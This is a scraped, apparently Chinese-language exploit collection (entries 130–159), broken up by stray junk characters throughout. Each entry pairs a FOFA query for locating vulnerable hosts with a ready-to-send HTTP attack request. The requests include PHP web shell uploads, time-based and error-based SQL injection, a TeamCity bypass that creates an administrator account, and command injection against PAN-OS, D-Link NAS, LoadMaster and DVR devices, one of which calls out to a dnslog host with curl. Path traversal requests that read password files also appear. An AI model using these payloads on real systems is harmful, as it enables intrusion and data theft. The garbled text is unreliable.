uuid: 85f60018-a654-4410-a783-f81cbd5000b9
; y) l( {( p0 ?- @7 K2 _) R( N

& o; W3 g! ?( `. X130. Laykefu客服系统任意文件上传
% P) E( c& h7 V7 j! g7 }FOFA：icon_hash="-334624619"
* k* n& w: U! i, y5 gPOST /admin/users/upavatar.html HTTP/1.1
  o* o$ E6 n3 c/ {Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
$ E/ A/ b7 A' ]" XUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
5 J/ T/ r' w. S( I& p# a  yContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 [5 l, N; v3 ICookie: user_name=1; user_id=3
7 i' }7 a5 h& d6 r* e; @7 C7 r$ T9 NConnection: close
# m+ d7 @9 e6 s
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

! h( W; k" U) _6 r7 x<?php phpinfo();@eval($_POST['sec']);?>
) g( s4 k2 P/ ?- f+ I------WebKitFormBoundary3OCVBiwBVsNuB2kR--

' U' V* X4 L  }' @! s$ f; J/ X
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
, G/ G- G6 \/ W. j! o+ \1 c3 D$ _后台地址：http://localhost:8080/tmall/admin
* F/ w! w' k4 [0 l5 Vhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
! E* K( z! j- E5 p% B+ X! F" `
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
# B' F$ _& ^' o* S1 Q  L/ d  }FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
: [+ R' K. B: V+ Q3 Y( FHost: 192.168.40.130:8111
7 ^: ]# o( k) D1 W8 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
* _+ R% R5 O8 e) N7 q1 y2 b; t
0 b5 u8 W, L5 A
7 p3 Y/ l4 d% Z: B, Q0 W' ]$ eCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
  H# }2 r4 U( r; `8 V9 y/update/../admin/diagnostic.jsp

1 \2 I* r1 a! @' z2 o: r7 \- |
- E9 I$ Y3 \  C# S8 q* p8 Y8 `CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
4 }2 a" `& N2 qHost: your-ip
7 W' }7 R  p: S4 q  z* i+ KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
# f' a! A5 N& q& e- X- y' y
2 D4 z; N0 l0 k6 T& Y7 j2 F------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

- s; N* ~5 N+ V. m<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

- F4 v( N2 {( b, ~& Z
! f9 J2 o0 r& [4 J+ a
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
. p9 p7 T9 j% P$ d8 u/ {) ONetentsec NS-ASG Application Security Gateway 6.3版本
. a+ X7 ?" g1 L4 g5 S2 R. dFOFA：app="网康科技-NS-ASG安全网关"
* q# u9 D% j! Q- IPOST /protocol/index.php HTTP/1.1
1 R& W* H8 g0 H4 K$ NHost: x.x.x.x
6 k. H, T2 g7 T8 bCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
! j4 [; V" k, p  tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
0 s# K0 W# x6 G' Q- qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
/ W3 y' ~6 H+ M) PSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
- O7 O1 }, [, h8 D# d! L# G& QConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
9 U( f' }# V8 d4 _, \+ j1 Q

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
  {$ L5 {4 T$ A3 ]) T# INetentsec NS-ASG Application Security Gateway 6.3版本
0 _+ \3 o: [5 `. I- G2 oFOFA：app="网康科技-NS-ASG安全网关"
' z# E: s1 R) C( N# i8 |, tGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
4 L; o* F! Q# m4 s4 P5 f" U1 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 B9 {6 K9 Q; G, n' m6 nConnection: close
  f8 ~. i. ?; q( _# I/ S4 d8 W
! {2 A* \7 `( {$ G
/ B- h0 ^7 D0 l5 N# r( F5 c2 {  ]136. NextChat cors SSRF
CVE-2023-49785
/ w! }& Q; D) t0 @) q3 {/ CFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
7 X5 J7 l" d7 y8 y' GHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
# i, W1 }, Q& v6 k( \Accept-Language: en
Accept-Encoding: gzip

' X% v* w, F: Q1 |
1 L5 @( _- C% H2 D137. 福建科立迅通信指挥调度平台down_file.php sql注入
3 G8 O* L+ u, I$ ^9 [6 GCVE-2024-2620
% m  C. s8 E4 `. P5 S. a. rFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
; P4 B( A- ^4 H% e1 c) {GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
/ E% m# Q9 V; Z% h7 e5 O* n2 s" vHost: x.x.x.x
* p- _8 d4 B2 ^( x; TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 N- }  R( F2 t* p4 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# }9 H, U* W) vAccept-Encoding: gzip, deflate, br
8 I. f3 m9 q* U& v. i# NConnection: close
& d) ?/ j$ n; v# ]Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
0 R9 H# ?$ B! qUpgrade-Insecure-Requests: 1
% e  W9 r* V$ A+ U$ l. Y
2 a$ |, ?! X  O: O. b
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
' }0 I. t# [0 SFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
8 ]; ~1 w. f( V" h2 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 o7 [& F, @$ l) Q) g2 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, T3 I6 n6 S8 E7 q$ |+ _Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
1 O" C: y$ p! z
  g9 ^9 e! d9 k  [8 @/ m, ~
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
& A# r4 S6 b& bCVE-2024-2622
+ |2 k$ X. q  N; A) YFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
: M% O6 X, C; ^1 c/ a' c/ nGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
3 _+ l* _- g8 ~2 z: FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ i" j6 u" _% o0 g& P6 A6 s* h6 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* Y0 b( ^6 |: j" y4 I% ?. CConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
+ i  L6 \1 d8 o) a# l$ tUpgrade-Insecure-Requests: 1

& d: V/ x8 j" I8 z; B
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 P  u% O8 W& L9 N& uGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
% H+ Y- x. S9 `+ LHost: x.x.x.x
2 M7 G' o5 x$ @0 a$ C( G( |/ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; K) ]1 [8 [( I5 H+ G2 L. ^) nAccept-Encoding: gzip, deflate, br
4 i1 {  J5 f) w+ UConnection: close
  w  l* Z% W: D- ^9 B7 _Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
2 N$ L3 u: Z" k4 Z, g

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
* |9 p  ]$ g/ I, S. c2 GFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
* _6 r( l7 ?* O: n( ?; y2 H( RHost: your-ip
9 D  T7 |8 n( }User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded

0 K8 s/ P+ P$ U) B( p
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
admin/admin
/ d& k( _! [" z* ^2 R0 A143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
) O& Q# ^! ?+ r& X
, n& E3 F0 a( y3 |  s' z& F' [144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
- n; E$ x0 P% L6 yGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
: N5 e0 `% l; ]0 B# e0 E* A; hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

& K' W5 n  \0 k5 k0 v/ {9 v: @
5 R" N' ^- o8 _3 n5 d, H$ U2 G; x145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
1 W* z# R7 K# F- tFOFA：icon_hash="-631559155"
5 k5 @. L6 w9 v( g, ]GET /global-protect/login.esp HTTP/1.1
* q: a& ?5 l( Y) jHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
9 ?1 j$ C! \5 O3 H" eCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
8 e" U  i8 r/ }8 K
# K' c( {, m3 M; L! C) f* n% _
% I1 D. u* I/ F* G146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
* p$ ~  G6 G: H3 x3 F+ I5 vFOFA：app="MajordomoSL"
3 R( Z: K3 ^% D8 _! C, J2 xGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
# a; Z5 M4 Y/ x2 j) l: g6 A" SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
9 z+ `8 ]* H/ eAccept-Encoding: gzip, deflate
Connection: close


; Y: X6 E+ p5 s147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
/ {5 G) p& u" V6 BFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
) }' f3 `$ h9 M. s1 M4 H7 ~Host: 127.0.0.1:81
/ |. |7 @$ `4 ^2 LCache-Control: max-age=0
Connection: close
( n, {" D2 Q0 W' t! d

* _: y4 i0 z- j4 L( e" r148. CrushFTP 认证绕过模板注入
CVE-2024-4040
5 c0 X. C) O9 h. l7 I5 w  u/ Q# bFOFA：body="CrushFTP"
! _# o, k) m8 v3 c9 Y1 [  ~PAYLOAD
  s$ d; |+ k9 G' A  }' O8 w
149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

$ n$ T6 c8 u" ]. [( ?+ nPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
) j' W8 N$ p  P; |! lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* f" ~7 A+ c% E2 \- D8 y+ J/ _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) a7 ?# \9 m, k8 M# J6 f) z# HAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
5 O1 X3 P1 i* g- f- u3 YContent-Type: application/json;charset=UTF-8
# Z4 E' z( z9 _7 iConnection: close

( I6 w8 v  q1 B' J( \{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
7 `7 n# u% M2 }' r- l6 S3 W% }7 `POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* O" O. Q/ q$ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
! S/ O& L6 K2 s0 j4 t. x
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
1 H" @! M! {  e3 |; S) WHost: x.x.x.x
, C$ r+ @& x4 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 O3 i, v, q! L! b4 [' p# `/ HConnection: close
/ }$ a) d/ e3 ~7 K3 U! bAccept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
0 ]( ?" _4 \, l4 J2 d+ [CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
# W: R5 z% a( H4 y; j: a9 X: CLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
  m6 L  @2 I5 N1 _1 l0 cGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
. J1 @  p  Q2 L# g- V! ]Accept-Language: en
; U7 \+ n! }" ^3 }Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

( q7 ]  `% Q# _$ l1 @9 @
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
0 {$ f2 f& s1 C, L5 s$ O

) x& p- p( q; {( v& D# J( R第二步，将/etc/passwd的内容写入到一个临时文件
* k4 b( p& L( W, O5 R/ K, b9 b; _POST /component_server HTTP/1.1
Host: x.x.x.x
" u& D" m1 q' o& H! O7 v3 v" MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
% u% `; X, S1 nContent-Length: 115
$ n+ ~" [% }- D* n9 o% B9 x# rContent-Type: application/json
) j. e: b3 J. j3 h1 o  f- vAccept-Encoding: gzip

  _" H4 O5 [' o3 z! Y' z{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
& M; m; g( ~: C4 {

第三步访问
; h* k5 g. T% X' |' `http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

* n% g1 s! }' X% [
154. 天维尔消防救援作战调度平台 SQL注入
1 P8 Y6 B8 T' Q1 {& x  k. @CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
) H) `# B: D4 q& ?POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
; j2 p- `! {2 o9 b' O. V& @Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
* T7 G2 Y! A" @Origin: http://x.x.x.x
Content-Type: application/json
  }0 t/ B  H9 e7 U" q9 m. s. d/ _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
' e6 N1 E* |3 _8 s" [' ?5 cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

, x* j' B2 q( [+ Z4 E
155. 六零导航页 file.php 任意文件上传
6 S5 y1 j; H( ]& H  `CVE-2024-34982
* ~2 \0 S$ C! ^FOFA：title=="上网导航 - LyLme Spage"
! D$ S. ?: e& [POST /include/file.php HTTP/1.1
4 g6 J- o" G( W8 |8 `Host: x.x.x.x
+ q7 y: e1 O% b# b/ a/ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
7 S5 w2 F: l/ v, vConnection: close
3 v% K; S- v% Y' d5 N( p( WContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
9 f2 P; Z$ H- X& lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
5 V) }0 L$ N3 T& R
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
- b9 a! N0 C& {7 nContent-Type: image/png

; a" `. X, F; G# w$ s$ s<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--


' c/ s" ]4 |  j/ K, W& M访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
' B/ N2 O! S* p# A
156. TBK DVR-4104/DVR-4216 操作系统命令注入
( c' Z% r, b, A( p' i6 s  }6 gCVE-2024-3721
; O* G$ D  x$ C( S* p' YFOFA："Location: /login.rsp"
+ I1 u' _2 c; X  e$ n  a·TBK DVR-4104
·TBK DVR-4216
+ S" o+ G/ c; k( D/ jcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
: }. {0 a/ H& E! g# {& z/ ^3 s; uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
* R! Y1 O- o' b6 _& `Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
8 B! v) X. O1 J. K
% m7 y: `, z) U( j
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
  ]7 S9 v9 x/ o, c8 A3 W' DFOFA：body="/common/scripts/basic.js"
( d$ Y! V2 O5 W; q, Z. aPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
, R8 A* y" Y2 {2 E% BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
6 J" X( w+ E& j2 ?. {Content-Length: 709
7 n# k  \2 @2 T1 r6 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ ^: m' F' L1 |( RCache-Control: max-age=0
  y! b- d  q! M) U# A" jConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
# C5 Q& V3 y6 Z/ v3 x& \; pUpgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
! u" V1 _* u  R. @4 u$ kContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
+ ?8 b: O, ]7 z# i0 [------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
. q/ m. ?$ p9 w
2 F' e) y' ^; S3 @9 Nnull
7 D, `( ?9 w. N! V5 {# T; J, P3 D------WebKitFormBoundary1imovELzPsfzp5dN
: G* F2 ?% P; `0 }! p" U% BContent-Disposition: form-data; name="form"

8 o" N$ y$ ?+ O+ T9 S8 Lnull
% U* Q, r# Y/ c  ^: w- x0 |. N! T0 j------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
) C/ p- V% @) ^' v8 P6 v% b. E; y
# w, t5 ^. {( j8 N# Q8 jnull
! Q# v2 k8 V8 Z# g9 j------WebKitFormBoundary1imovELzPsfzp5dN
3 s) K" ]8 w9 i/ H1 _Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
8 E6 O$ w; L( G7 v/ F
null
3 k& {) B  Y  X. X  ~2 w' z# a------WebKitFormBoundary1imovELzPsfzp5dN--

% R5 ]0 A0 j3 c  N
9 w: k/ f4 s7 P9 d" f5 zhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
: c) `, z" u0 o. x5 O! ?8 u/ d
; @* T: u5 _& ?% R! f! }- R158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
# a$ L* F; ?5 ~8 F% c5 q) _" g
9 p1 p$ J# H) r8 M
% d$ v5 _7 j/ u3 K9 L1 i159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
7 O% ~4 x% c( lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
3 e7 M$ K4 r$ @- c" r  sContent-Length: 1080
Accept-Encoding: gzip, deflate
* r2 }( d" u/ YConnection: close
Content-Type: text/xml; charset=utf-8
) P% P6 Y$ S: N, |: O5 K' a( OSoapaction: "http://rainier/jobUpload"
) I* L) T; r6 x" e
3 H# d  p6 k8 @<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
" @5 ^: g5 g4 U, @<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
8 q# A9 q5 G- ~6 R* M. \$ ~  s<fileName>abcrce.asmx</fileName>
